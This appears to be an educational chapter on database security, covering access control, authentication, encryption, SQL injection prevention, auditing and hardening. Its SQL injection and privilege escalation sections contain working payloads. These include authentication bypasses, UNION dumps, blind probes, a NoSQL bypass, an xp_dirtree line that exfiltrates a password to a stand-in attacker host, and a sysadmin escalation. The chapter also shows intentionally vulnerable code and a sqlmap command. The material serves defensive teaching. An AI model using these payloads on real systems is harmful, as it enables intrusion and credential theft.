06 Database Security
Table of Contents
Overview
Database security encompasses the tools, controls, and measures designed to protect database management systems (DBMS) from threats and vulnerabilities. Databases are high-value targets containing sensitive information, making their security critical to organizational risk management.
Security Objectives for Databases
Confidentiality
Protect sensitive data from unauthorized disclosure
Encryption, access control, data masking
Integrity
Prevent unauthorized modification or corruption
Constraints, triggers, checksums, backups
Availability
Ensure database accessible to authorized users
Redundancy, backup/recovery, DDoS protection
Accountability
Track database operations for audit
Logging, auditing, change tracking
Database Security Fundamentals
The Database Threat Landscape
Common Database Threats:
SQL Injection
Malicious SQL code injection through inputs
Data breach, manipulation, deletion
Privilege Escalation
Unauthorized elevation of user privileges
Full database compromise
Credential Theft
Stolen database credentials
Unauthorized access
Insider Threats
Malicious or negligent insiders
Data exfiltration, sabotage
Weak Authentication
Poor password policies, no MFA
Easy unauthorized access
Unpatched Vulnerabilities
Missing security patches
Exploitation of known flaws
Excessive Privileges
Users with unnecessary permissions
Larger attack surface
Backup Exposure
Unsecured database backups
Offline data access
Inference Attacks
Deducing sensitive data from queries
Privacy violations
DoS/DDoS
Overwhelming database resources
Service unavailability
Defense in Depth for Databases
Multiple security layers: Network Security (Firewalls, Segmentation) → Authentication (Strong credentials, MFA) → Authorization (RBAC, least privilege) → Encryption (TDE, column encryption) → Auditing (Logs, monitoring) → Secure Configuration
Database Access Control
Database-Specific Access Control Models
Discretionary Access Control (DAC) in Databases
Users control access to objects they own.
SQL Example (PostgreSQL):
-- Create table (owner: alice)
CREATE TABLE employees (
id INT PRIMARY KEY,
name VARCHAR(100),
salary DECIMAL(10,2)
);
-- Grant permissions
GRANT SELECT ON employees TO bob;
GRANT SELECT, INSERT ON employees TO charlie;
-- Revoke permissions
REVOKE INSERT ON employees FROM charlie;Advantages: Flexible, users control data, granular permissions
Disadvantages: Hard to enforce policies, users may grant excessive permissions, difficult auditing
Mandatory Access Control (MAC) in Databases
Access based on security labels and clearance levels.
Implementation:
Oracle Label Security
Row-level security with classification labels
Enforced by DBMS, users cannot override
Example Scenario:
Data Classification Levels:
- Top Secret (TS)
- Secret (S)
- Confidential (C)
- Unclassified (U)
User Clearances:
- Alice: TS clearance → can access TS, S, C, U
- Bob: S clearance → can access S, C, U onlyRole-Based Access Control (RBAC)
Permissions assigned to roles, users assigned to roles.
RBAC Hierarchy Example:
-- Create roles
CREATE ROLE dba;
CREATE ROLE developer;
CREATE ROLE analyst;
CREATE ROLE guest;
-- Grant permissions to roles
GRANT ALL PRIVILEGES ON DATABASE mydb TO dba;
GRANT SELECT, INSERT, UPDATE ON ALL TABLES IN SCHEMA public TO developer;
GRANT SELECT ON ALL TABLES IN SCHEMA public TO analyst;
GRANT SELECT ON public_data TO guest;
-- Assign users to roles
GRANT developer TO alice;
GRANT analyst TO bob;
GRANT guest TO charlie;Role Hierarchy:
DBA
├─→ Full control (DDL, DML, DCL)
│
Developer
├─→ Read/Write data
├─→ Create/modify objects in dev schema
│
Analyst
├─→ Read-only access
├─→ Can run reports
│
Guest
└─→ Limited read access to public dataAdvantages: Easier management, aligns with org structure, simplifies auditing, reduces overhead
Row-Level Security (RLS)
Fine-grained access control at the row level based on user context.
PostgreSQL Example:
CREATE TABLE documents (
id INT PRIMARY KEY,
title VARCHAR(200),
content TEXT,
department VARCHAR(50),
classification VARCHAR(20)
);
-- Enable row-level security
ALTER TABLE documents ENABLE ROW LEVEL SECURITY;
-- Policy: Users can only see their department's documents
CREATE POLICY dept_policy ON documents
FOR SELECT
USING (department = current_user_department());
-- Policy: Users with TS clearance see all, others see only Unclassified
CREATE POLICY clearance_policy ON documents
FOR SELECT
USING (
classification = 'Unclassified'
OR current_user_clearance() >= classification_level(classification)
);Use Cases:
Multi-tenant SaaS applications
Departmental data segregation
Security clearance enforcement
Data sovereignty requirements
Column-Level Security
Restrict access to specific columns.
SQL Server Example:
-- Grant SELECT on specific columns only
GRANT SELECT ON employees(id, name, department) TO analyst_role;
-- analyst_role cannot see 'salary' column
-- Dynamic data masking
ALTER TABLE employees
ALTER COLUMN salary ADD MASKED WITH (FUNCTION = 'default()');
-- Non-privileged users see masked valuesPrinciple of Least Privilege in Databases
Implementation:
Grant minimum necessary permissions (e.g., SELECT/INSERT/UPDATE on specific tables, not ALL PRIVILEGES)
Separate accounts: Admin (DBA tasks), Application (limited data access), Read-only (reporting), Backup (backup ops)
Avoid root/superuser: Never use sa/postgres/root for applications, create dedicated accounts
Database Authentication
Database User Authentication
Password-Based Authentication
Best Practices:
Minimum password length: 12-16 characters
Password complexity: Enforce strong password requirements
Password expiration: Balance security with usability (90-180 days)
Account lockout: Temporarily lock after N failed attempts (e.g., 5)
Password history: Prevent reuse of recent passwords
SQL Server Example:
-- Create login with password policy
CREATE LOGIN app_user WITH PASSWORD = 'ComplexP@ssw0rd!',
CHECK_POLICY = ON,
CHECK_EXPIRATION = ON;
-- Set password expiration
ALTER LOGIN app_user WITH PASSWORD = 'NewP@ssw0rd!',
OLD_PASSWORD = 'ComplexP@ssw0rd!';Storing Database Passwords:
Never: Hardcode in source code or store in plain text
Use: Environment variables, secret management services (HashiCorp Vault, AWS Secrets Manager), encrypted config files
External Authentication
LDAP/Active Directory Integration:
-- PostgreSQL with LDAP
-- pg_hba.conf:
host all all 0.0.0.0/0 ldap ldapserver=ldap.company.com ldapbasedn="dc=company,dc=com"Kerberos Authentication:
-- PostgreSQL with Kerberos
-- pg_hba.conf:
host all all 0.0.0.0/0 gss include_realm=0 krb_realm=COMPANY.COMBenefits: Centralized user management, SSO, consistent password policies, automated provisioning/deprovisioning
Certificate-Based Authentication
PostgreSQL SSL Certificate Authentication:
# Generate client certificate
openssl req -new -nodes -keyout client.key -out client.csr
openssl x509 -req -in client.csr -CA ca.crt -CAkey ca.key -out client.crt
# pg_hba.conf:
hostssl all all 0.0.0.0/0 cert clientcert=verify-fullAdvantages: Strong cryptographic authentication, no password management, suitable for service-to-service, HSM support
Multi-Factor Authentication for Databases
Implementation Strategies: Database + External MFA (Duo/Okta), VPN + Database (MFA required), Bastion Host (jump server with MFA), Application-Level MFA
Database Encryption
Encryption at Rest
Transparent Data Encryption (TDE)
Encrypts entire database files at the storage level.
SQL Server TDE:
-- Create master key
USE master;
CREATE MASTER KEY ENCRYPTION BY PASSWORD = 'SecurePassword123!';
-- Create certificate
CREATE CERTIFICATE TDE_Cert WITH SUBJECT = 'TDE Certificate';
-- Create database encryption key
USE mydb;
CREATE DATABASE ENCRYPTION KEY
WITH ALGORITHM = AES_256
ENCRYPTION BY SERVER CERTIFICATE TDE_Cert;
-- Enable encryption
ALTER DATABASE mydb SET ENCRYPTION ON;Characteristics: Transparent (no code changes), minimal performance overhead (hardware AES), encrypts data/log files and backups, critical key management
Key Hierarchy:
Master Database Key (encrypted with password/certificate)
↓ encrypts
Certificate
↓ encrypts
Database Encryption Key (DEK)
↓ encrypts
Data Files, Log Files, BackupsFile-Level Encryption
Operating system or storage-level encryption.
Examples:
Linux: LUKS (dm-crypt)
Windows: BitLocker
Cloud: AWS EBS encryption, Azure Disk Encryption
Advantages: Protects against physical theft, easier than TDE, OS-level key management
Disadvantages: Performance impact, no fine-grained control
Application-Level Encryption
Encrypt data before inserting into database.
Example (Python):
from cryptography.fernet import Fernet
# Generate key (store securely, not in code!)
key = Fernet.generate_key()
cipher = Fernet(key)
# Encrypt before insert
ssn = "123-45-6789"
encrypted_ssn = cipher.encrypt(ssn.encode())
# INSERT INTO employees (name, ssn) VALUES ('Alice', encrypted_ssn)
# Decrypt after SELECT
decrypted_ssn = cipher.decrypt(encrypted_ssn).decode()Advantages: Fine-grained control, end-to-end encryption, no DB encryption support needed
Disadvantages: Complex logic, cannot query encrypted data directly, application manages keys
Column-Level Encryption
Encrypt specific sensitive columns.
SQL Server Always Encrypted:
CREATE COLUMN MASTER KEY MyCMK
WITH (
KEY_STORE_PROVIDER_NAME = 'MSSQL_CERTIFICATE_STORE',
KEY_PATH = 'CurrentUser/my/A66BB0F6DD70BDFF02B62D0F87E340288'
);
CREATE COLUMN ENCRYPTION KEY MyCEK
WITH VALUES
(
COLUMN_MASTER_KEY = MyCMK,
ALGORITHM = 'RSA_OAEP',
ENCRYPTED_VALUE = 0x016E000001630075007200720...
);
-- Encrypt column
ALTER TABLE employees
ALTER COLUMN salary
ADD ENCRYPTED WITH (
COLUMN_ENCRYPTION_KEY = MyCEK,
ENCRYPTION_TYPE = Deterministic,
ALGORITHM = 'AEAD_AES_256_CBC_HMAC_SHA_256'
);Encryption Types:
Deterministic: Same plaintext → same ciphertext (allows equality comparisons)
Randomized: Same plaintext → different ciphertext (stronger security, no queries)
Encryption in Transit
TLS/SSL for Database Connections:
PostgreSQL:
# postgresql.conf
ssl = on
ssl_cert_file = 'server.crt'
ssl_key_file = 'server.key'
ssl_ca_file = 'ca.crt'
# Require SSL
# pg_hba.conf:
hostssl all all 0.0.0.0/0 md5MySQL:
-- Require SSL for user
CREATE USER 'app_user'@'%' IDENTIFIED BY 'password' REQUIRE SSL;
-- Check connection is encrypted
SHOW STATUS LIKE 'Ssl_cipher';Importance: Prevents eavesdropping, protects credentials in transit, ensures data integrity
Key Management
Key Management Best Practices:
Separate key storage from data (use dedicated key management systems)
Hardware Security Modules (HSMs) (FIPS 140-2 Level 2+: AWS CloudHSM, Azure Key Vault, Thales HSM)
Key Rotation (annually or after breach, maintain version history)
Access Control for Keys (strict permissions, audit access)
Backup Key Material Securely (encrypted backups, separate location)
SQL Injection
SQL Injection is a code injection attack where malicious SQL statements are inserted into input fields, manipulating database queries.
SQL Injection Attack Types
1. Classic (In-Band) SQL Injection
Vulnerable Code:
# VULNERABLE - Never do this!
username = request.POST['username']
password = request.POST['password']
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
cursor.execute(query)Attack:
Input: username = admin' --
password = anything
Query: SELECT * FROM users WHERE username='admin' --' AND password='anything'
Result: Password check bypassed (commented out)Another Attack:
Input: username = admin' OR '1'='1
Query: SELECT * FROM users WHERE username='admin' OR '1'='1' AND password=''
Result: Always true condition, returns all users2. Union-Based SQL Injection
Attacker uses UNION to combine malicious query with legitimate one.
Attack:
Input: product_id = 1 UNION SELECT username, password, NULL FROM users --
Query: SELECT name, description, price
FROM products
WHERE id = 1
UNION SELECT username, password, NULL FROM users --
Result: Returns product data AND all usernames/passwords3. Blind SQL Injection
No direct output, but attacker infers information from application behavior.
Boolean-Based:
Input: id = 1' AND (SELECT COUNT(*) FROM users) > 10 --
If page behaves normally → COUNT(*) > 10 is true
If page shows error/different → COUNT(*) > 10 is false
Attacker iteratively determines exact countTime-Based:
Input: id = 1'; IF (SELECT COUNT(*) FROM users) > 10 WAITFOR DELAY '00:00:05' --
If response delayed by 5 seconds → condition is true
If immediate response → condition is false4. Second-Order SQL Injection
Malicious data stored in database, executed later.
Step 1: Register user with username: admin'--
Stored in database: admin'--
Step 2: Application retrieves username and uses in query (without sanitizing):
UPDATE users SET last_login = NOW() WHERE username = 'admin'--'
Result: Comments out rest of query, potentially causing issues5. Out-of-Band SQL Injection
Data exfiltrated through alternative channels (DNS, HTTP requests).
SQL Server Example:
'; EXEC master..xp_dirtree '\\attacker.com\' + (SELECT TOP 1 password FROM users) + '.txt' --Result: Database makes DNS/SMB request to attacker.com, leaking password in domain name.
6. NoSQL Injection
NoSQL databases also vulnerable to injection.
MongoDB Example (Vulnerable):
// Vulnerable
db.users.find({
username: req.body.username,
password: req.body.password
});
// Attack:
POST /login
{ "username": {"$ne": null}, "password": {"$ne": null} }
// Resulting query finds first user where username and password are not nullSQL Injection Prevention
1. Parameterized Queries (Prepared Statements)
SECURE - Always use this approach:
Python (psycopg2):
# Secure - parameterized query
username = request.POST['username']
password = request.POST['password']
cursor.execute(
"SELECT * FROM users WHERE username = %s AND password = %s",
(username, password)
)Java (JDBC):
// Secure
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();PHP (PDO):
// Secure
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);Node.js (pg):
// Secure
const result = await client.query(
'SELECT * FROM users WHERE username = $1 AND password = $2',
[username, password]
);Why It Works:
Database treats parameters as data, not executable code
No possibility of SQL code injection
Works for all user inputs
2. Stored Procedures (with Proper Parameterization)
-- Create stored procedure
CREATE PROCEDURE AuthenticateUser
@Username NVARCHAR(50),
@Password NVARCHAR(50)
AS
BEGIN
SELECT * FROM users
WHERE username = @Username AND password = @Password;
END;
-- Call from application (parameterized)
EXEC AuthenticateUser @Username='alice', @Password='password123';Note: Stored procedures alone don't prevent SQL injection if you concatenate strings inside them!
-- Still vulnerable!
CREATE PROCEDURE VulnerableProc
@UserId NVARCHAR(50)
AS
BEGIN
DECLARE @SQL NVARCHAR(MAX);
SET @SQL = 'SELECT * FROM users WHERE id = ' + @UserId; -- VULNERABLE
EXEC sp_executesql @SQL;
END;3. Input Validation
Whitelist Validation:
# Validate product ID is an integer
product_id = request.GET.get('id')
try:
product_id = int(product_id) # Raises ValueError if not integer
except ValueError:
return "Invalid product ID"
# Now safe to use (still use parameterized query)
cursor.execute("SELECT * FROM products WHERE id = %s", (product_id,))Pattern Matching:
import re
# Validate username contains only alphanumeric characters
username = request.POST['username']
if not re.match(r'^[a-zA-Z0-9_]+$', username):
return "Invalid username format"Note: Input validation is a defense-in-depth measure, NOT a replacement for parameterized queries.
4. Escaping (Last Resort)
If parameterized queries are impossible (rare cases), escape special characters.
# Python (psycopg2) - escaping as last resort
import psycopg2.extensions
username = psycopg2.extensions.adapt(username).getquoted().decode()Warning: Escaping is error-prone and should be avoided. Use parameterized queries instead.
5. Principle of Least Privilege
Limit database user permissions:
-- Application user should NOT have:
- DROP, CREATE permissions
- Access to system tables
- EXECUTE permissions on dangerous procedures (xp_cmdshell, OPENROWSET)
-- Grant only necessary permissions:
GRANT SELECT, INSERT, UPDATE ON orders TO app_user;
GRANT SELECT ON products TO app_user;Even if SQL injection occurs, damage is limited.
6. Web Application Firewall (WAF)
Deploy WAF to detect and block SQL injection attempts.
WAF Rules:
Detect SQL keywords in unexpected parameters
Block suspicious patterns (UNION, --, /*, xp_, etc.)
Rate limiting to prevent automated attacks
Example (ModSecurity Rule):
SecRule ARGS "@detectSQLi" \
"id:1000,phase:2,deny,status:403,msg:'SQL Injection Detected'"Note: WAF is defense-in-depth, not a substitute for secure coding.
7. Error Handling
Don't expose database errors to users:
Bad:
Error: You have an error in your SQL syntax near 'admin'' at line 1Good:
An error occurred. Please try again later. (Error ID: 12345)Log detailed errors server-side for debugging, show generic errors to users.
SQL Injection Testing
Manual Testing:
# Test for vulnerability
' OR '1'='1
admin' --
' UNION SELECT NULL --
1' AND 1=1 --
1' AND 1=2 --Automated Tools:
sqlmap: Powerful SQL injection exploitation tool
OWASP ZAP: Web application security scanner
Burp Suite: Intercepting proxy with scanner
Acunetix: Commercial web vulnerability scanner
Testing Command (sqlmap):
sqlmap -u "http://example.com/product?id=1" --batch --dbsDatabase Auditing and Compliance
Database Auditing
Auditing tracks and logs database activities for security analysis and compliance.
What to Audit:
Authentication attempts (successful and failed)
Privileged operations (DDL statements)
Data access (sensitive tables)
Data modifications (INSERT, UPDATE, DELETE)
Schema changes
Permission changes
SQL Server Audit Example:
-- Create server audit
CREATE SERVER AUDIT DatabaseAudit
TO FILE (FILEPATH = 'C:\Audits\', MAXSIZE = 1GB);
-- Enable audit
ALTER SERVER AUDIT DatabaseAudit WITH (STATE = ON);
-- Create database audit specification
USE mydb;
CREATE DATABASE AUDIT SPECIFICATION AuditSpec
FOR SERVER AUDIT DatabaseAudit
ADD (SELECT, INSERT, UPDATE, DELETE ON employees BY public),
ADD (EXECUTE ON SCHEMA::dbo BY public)
WITH (STATE = ON);PostgreSQL Auditing (pgAudit):
-- Install extension
CREATE EXTENSION pgaudit;
-- Configure auditing
ALTER SYSTEM SET pgaudit.log = 'read, write, ddl';
ALTER SYSTEM SET pgaudit.log_catalog = off;
-- Audit specific table
ALTER TABLE sensitive_data SET (pgaudit.log = 'read, write');Compliance Requirements
GDPR (General Data Protection Regulation):
Data encryption (at rest and in transit)
Access controls
Audit logs (who accessed what data, when)
Data minimization
Right to erasure (ability to delete user data)
Breach notification (72 hours)
HIPAA (Health Insurance Portability and Accountability Act):
Encryption of Protected Health Information (PHI)
Access controls and audit logs
Business Associate Agreements (BAAs)
Breach notification
Data backup and disaster recovery
PCI DSS (Payment Card Industry Data Security Standard):
Encrypt cardholder data
Restrict access to cardholder data
Maintain audit logs
Regularly test security systems
Maintain vulnerability management program
SOX (Sarbanes-Oxley Act):
Audit trails for financial data
Change control
Access controls
Data integrity verification
Secure Database Configuration
Secure Installation
Initial Security Steps:
Change default passwords immediately
-- PostgreSQL ALTER USER postgres WITH PASSWORD 'SecurePassword123!'; -- MySQL ALTER USER 'root'@'localhost' IDENTIFIED BY 'SecurePassword123!';Remove/disable default accounts
-- SQL Server DROP LOGIN ##MS_PolicyEventProcessingLogin##; -- MySQL DELETE FROM mysql.user WHERE User=''; FLUSH PRIVILEGES;Remove sample/test databases
DROP DATABASE IF EXISTS test; DROP DATABASE IF EXISTS sample;
Database Hardening
Network Security:
Bind to specific IP address (not 0.0.0.0)
Use non-standard ports (security through obscurity - minor benefit)
Firewall rules: Allow only necessary IPs
Disable remote root/admin login
PostgreSQL Example:
# postgresql.conf
listen_addresses = '10.0.1.5' # Specific IP, not '*'
port = 54321 # Non-standard port (minor security benefit)
# pg_hba.conf - restrictive access
host mydb app_user 10.0.2.0/24 md5
host all all 0.0.0.0/0 rejectService Configuration:
-- Disable dangerous features
-- SQL Server: Disable xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
-- MySQL: Disable LOAD DATA LOCAL INFILE
SET GLOBAL local_infile = 0;
-- PostgreSQL: Disable untrusted languages
DROP LANGUAGE IF EXISTS plpythonu CASCADE;File System Permissions:
# Linux - restrict database file permissions
chmod 700 /var/lib/postgresql/data
chown postgres:postgres /var/lib/postgresql/data
# Restrict configuration files
chmod 600 /etc/postgresql/postgresql.confPatch Management
Best Practices:
Subscribe to database vendor security advisories
Test patches in development/staging before production
Maintain patch schedule (critical: immediate, high: monthly, low: quarterly)
Automate patching where possible
Document patching procedures
Example CVE Tracking:
PostgreSQL: https://www.postgresql.org/support/security/
MySQL: https://www.mysql.com/support/security/
SQL Server: Microsoft Security Response Center (MSRC)
Oracle: Critical Patch Updates (CPU)
Database-Specific Threats
Inference Attacks
Inference attack: Deducing sensitive information by analyzing query results and database responses.
Example Scenario:
-- Attacker has SELECT on salary_ranges table:
SELECT AVG(salary) FROM employees WHERE department = 'Engineering';
-- Returns: $120,000
SELECT AVG(salary) FROM employees WHERE department = 'Engineering' AND name != 'Alice';
-- Returns: $118,000
-- Inference: Alice's salary ≈ $120,000 + (120-118) * N
-- where N = number of engineersMitigation Strategies:
Query result size restrictions
-- Reject queries returning too few rows IF COUNT(*) < 5 THEN RAISE EXCEPTION 'Query result too small'; END IF;Data perturbation/noise injection
Add random noise to aggregate results
Balance privacy with utility
Query auditing
Monitor for sequences of related queries
Detect inference attack patterns
Differential privacy
Mathematical framework for privacy-preserving queries
Add calibrated noise to query results
Privilege Escalation
Attacker gains higher privileges than authorized.
Attack Vectors:
SQL injection → access to higher-privilege procedures
Exploiting weak permissions on stored procedures
Default/weak admin credentials
Vulnerabilities in database software
Example (SQL Server):
-- Vulnerable stored procedure with EXECUTE AS OWNER
CREATE PROCEDURE GetUserData
@UserId INT
WITH EXECUTE AS OWNER -- Dangerous if owner has high privileges
AS
BEGIN
EXEC('SELECT * FROM users WHERE id = ' + @UserId); -- SQL injection vulnerability
END;
-- Attack:
EXEC GetUserData '1; EXEC sp_addsrvrolemember ''hacker'', ''sysadmin'' --'
-- Escalates 'hacker' to sysadmin rolePrevention:
Principle of least privilege for all accounts
Avoid EXECUTE AS OWNER unless necessary
Regular privilege audits
Disable unused features/procedures
Backup Security
Backup Risks:
Backup files contain full database (including sensitive data)
Often stored with weak permissions
May be forgotten on old servers/tapes
Backup Security Best Practices:
Encrypt backups
-- SQL Server encrypted backup BACKUP DATABASE mydb TO DISK = 'C:\Backups\mydb.bak' WITH ENCRYPTION ( ALGORITHM = AES_256, SERVER CERTIFICATE = BackupCert );Secure backup storage
Separate storage from production database
Encrypted file system or cloud storage
Access controls on backup files
Regular backup testing
Verify backups can be restored
Test restore procedures
Check backup integrity
Backup retention policy
Define retention periods based on compliance requirements
Securely destroy old backups
Document retention policy
NoSQL Security
NoSQL databases (MongoDB, Cassandra, Redis) have different security considerations.
MongoDB Security
Authentication:
// Enable authentication
use admin
db.createUser({
user: "admin",
pwd: "securePassword",
roles: ["root"]
})
// Start mongod with authentication
mongod --auth --config /etc/mongod.confAuthorization:
// Create limited user
use mydb
db.createUser({
user: "app_user",
pwd: "appPassword",
roles: [
{ role: "readWrite", db: "mydb" }
]
})NoSQL Injection Prevention:
// Vulnerable
db.users.find({ username: req.body.username, password: req.body.password });
// Attack: { "username": {"$ne": null}, "password": {"$ne": null} }
// Secure - validate input types
const username = String(req.body.username);
const password = String(req.body.password);
db.users.find({ username: username, password: password });Network Security:
Bind to localhost or specific IP
Enable TLS/SSL
Firewall rules
Redis Security
Authentication:
# redis.conf
requirepass yourVeryStrongPasswordHere
# Disable dangerous commands
rename-command FLUSHDB ""
rename-command FLUSHALL ""
rename-command CONFIG ""Network Security:
# Bind to specific IP
bind 127.0.0.1 10.0.1.5
# Disable protected mode only if firewalled
protected-mode yesBest Practices
Database Security Checklist
Access Control:
Implement role-based access control (RBAC)
Enforce principle of least privilege
Use row-level and column-level security where needed
Regular access reviews and audits
Disable/remove unused accounts
Authentication:
Enforce strong password policies
Implement multi-factor authentication for privileged accounts
Use external authentication (LDAP/AD) for centralized management
Never use default credentials
Encryption:
Encrypt data at rest (TDE or file-level encryption)
Encrypt data in transit (TLS/SSL for all connections)
Encrypt backups
Implement secure key management
Application Security:
Always use parameterized queries / prepared statements
Never concatenate user input into SQL queries
Validate and sanitize all inputs
Implement proper error handling (don't expose details)
Use Web Application Firewall (WAF)
Auditing and Monitoring:
Enable database auditing
Log all authentication attempts
Monitor for suspicious activity
Implement alerting for security events
Regular security assessments
Configuration:
Change default passwords immediately
Remove sample/test databases
Disable unnecessary features
Apply principle of least functionality
Keep database software patched and updated
Backup and Recovery:
Regular automated backups
Encrypt backups
Secure backup storage
Test restore procedures regularly
Documented disaster recovery plan
Network Security:
Firewall rules restricting database access
Network segmentation (DMZ, private subnets)
VPN for remote database access
Intrusion detection/prevention systems
Security Testing
Regular Security Assessments:
Vulnerability Scanning
Tools: Nessus, OpenVAS, Qualys
Identify missing patches and misconfigurations
Schedule: Monthly or after changes
Penetration Testing
Simulated attacks to find vulnerabilities
Test SQL injection, privilege escalation, etc.
Schedule: Annually or after major changes
Code Review
Review database access code for security issues
Focus on SQL injection, access control, error handling
Audit Review
Analyze audit logs for suspicious activity
Verify compliance with policies
Last updated